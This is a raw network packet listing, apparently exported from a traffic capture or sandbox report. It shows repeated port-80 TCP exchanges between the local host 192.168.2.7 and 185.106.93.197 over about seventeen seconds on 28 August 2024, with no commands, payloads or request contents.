                                                                      Aug 28, 2024 11:20:56.443192959 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.443517923 CEST6037380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.448349953 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.448411942 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.448508024 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.450203896 CEST8060373185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.450244904 CEST6037380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.453574896 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.596899033 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.601908922 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.601968050 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.602137089 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.606858015 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.801315069 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:56.806555033 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.806571960 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:56.957740068 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.037538052 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.239166021 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.239412069 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.239423990 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.239543915 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.240581989 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.240916967 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.241072893 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.241081953 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.242185116 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.242453098 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.445548058 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.450208902 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.458255053 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.517041922 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.629570007 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.641165018 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.641165018 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.641169071 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.650523901 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.650840998 CEST8060375185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.650966883 CEST6037580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.650966883 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.651106119 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.651184082 CEST8060374185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:57.653991938 CEST6037480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:57.659933090 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.004523039 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:58.009576082 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.009588957 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.009598017 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.274678946 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.316701889 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:58.408857107 CEST8060376185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.457344055 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:58.536714077 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:58.541595936 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.541651964 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:58.541749954 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:58.546535015 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:58.895544052 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.113922119 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.114084959 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.114415884 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.184192896 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.239597082 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.318705082 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.363620043 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.439529896 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.439529896 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.444544077 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.444787979 CEST8060377185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.444911957 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.444911957 CEST6037780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.446042061 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.452902079 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.803533077 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:59.808414936 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.808429003 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:59.808439016 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.076783895 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.129229069 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.205151081 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.330769062 CEST6037680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.333673954 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.334029913 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.338795900 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.338814020 CEST8060378185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.338860035 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.338886976 CEST6037880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.339015961 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.343720913 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.691843033 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:00.696877003 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.696897030 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:00.696907043 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.128078938 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.139075994 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.143409014 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.266204119 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.266204119 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.272066116 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.272232056 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.272295952 CEST8060379185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.272435904 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.272515059 CEST6037980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.277246952 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.629662037 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:01.635438919 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.635457039 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.635464907 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.899804115 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:01.965747118 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.033149958 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.097405910 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.176731110 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.177472115 CEST6038180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.182048082 CEST8060380185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.182101011 CEST6038080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.182197094 CEST8060381185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.182252884 CEST6038180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.182504892 CEST6038180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.187221050 CEST8060381185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.255500078 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.255559921 CEST6038180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.260524988 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.260605097 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.270566940 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.275511026 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.302202940 CEST8060381185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.450717926 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.455732107 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.455858946 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.458373070 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.463165998 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.634583950 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.640202999 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.640800953 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.644001961 CEST8060381185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.644085884 CEST6038180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.816958904 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:02.822063923 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.822685957 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.822695017 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.881894112 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:02.926248074 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.009007931 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.051562071 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.087173939 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.147553921 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.217204094 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.271533966 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.345321894 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.345321894 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.345807076 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.350928068 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.351027012 CEST8060382185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.351466894 CEST8060383185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.351564884 CEST6038280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.351566076 CEST6038380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.354753017 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.354986906 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.360630035 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.707510948 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:03.712702036 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.712721109 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.712729931 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:03.991384983 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.122792006 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.122843027 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.252211094 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.252466917 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.257328033 CEST8060384185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.257371902 CEST6038480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.257579088 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.257647038 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.257741928 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.263715982 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.613723993 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:04.618719101 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.618740082 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:04.618753910 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.237531900 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.237690926 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.237721920 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.237880945 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.367470026 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.367470026 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.521807909 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.521960020 CEST8060385185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.527657986 CEST6038580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.527657986 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.530540943 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.535428047 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.883557081 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:05.888639927 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.888653040 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:05.888663054 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.158770084 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.207381964 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.289784908 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.332437038 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.411550045 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.411978960 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.416939020 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.417006969 CEST8060386185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.417013884 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.417052031 CEST6038680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.417172909 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.421885967 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.773310900 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:06.778326988 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.778347969 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:06.778357029 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.075994015 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.129266977 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.208726883 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.254542112 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.329726934 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.332519054 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.335107088 CEST8060387185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.335588932 CEST6038780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.337461948 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.337764025 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.337837934 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.342619896 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.694149971 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:07.699304104 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.699321985 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.699331999 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:07.978631020 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.019890070 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.021364927 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.021411896 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.026448965 CEST8060388185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.026504993 CEST6038880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.026756048 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.026813984 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.026942968 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.032680035 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.147195101 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.155354977 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.155407906 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.155555964 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.161514997 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.379410028 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.384418964 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.384500027 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.504411936 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:08.509499073 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.509514093 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.509524107 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.881625891 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.881794930 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.881805897 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.881834984 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:08.881867886 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.001182079 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.006577969 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.123935938 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.123943090 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.123943090 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.129308939 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.129672050 CEST8060390185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.129777908 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.129829884 CEST6039080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.129875898 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.130047083 CEST8060389185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.130213022 CEST6038980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.134685993 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.491559982 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.496706963 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.496723890 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.496732950 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.843075991 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:09.915831089 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:09.979218960 CEST8060391185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.029521942 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:10.106318951 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:10.111254930 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.111315012 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:10.111505032 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:10.116358042 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.458036900 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:10.463047981 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.463064909 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.463076115 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.748245955 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:10.801181078 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.076435089 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.095104933 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.095164061 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.208311081 CEST6039180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.208316088 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.210335016 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.215457916 CEST8060392185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.215498924 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.215552092 CEST6039280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.220360994 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.220451117 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.221018076 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.225860119 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.571567059 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:11.576672077 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.576689005 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:11.576698065 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.040218115 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.045778036 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.045828104 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.175941944 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.176285028 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.184099913 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.184199095 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.184318066 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.184566021 CEST8060393185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.184612989 CEST6039380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.190010071 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.535640001 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.541287899 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.541302919 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.541316032 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.821891069 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:12.886589050 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:12.952399015 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:13.035568953 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:13.078632116 CEST6039480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:13.079040051 CEST6039580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:21:13.083755970 CEST8060394185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:21:13.084100962 CEST6039480192.168.2.7185.106.93.197
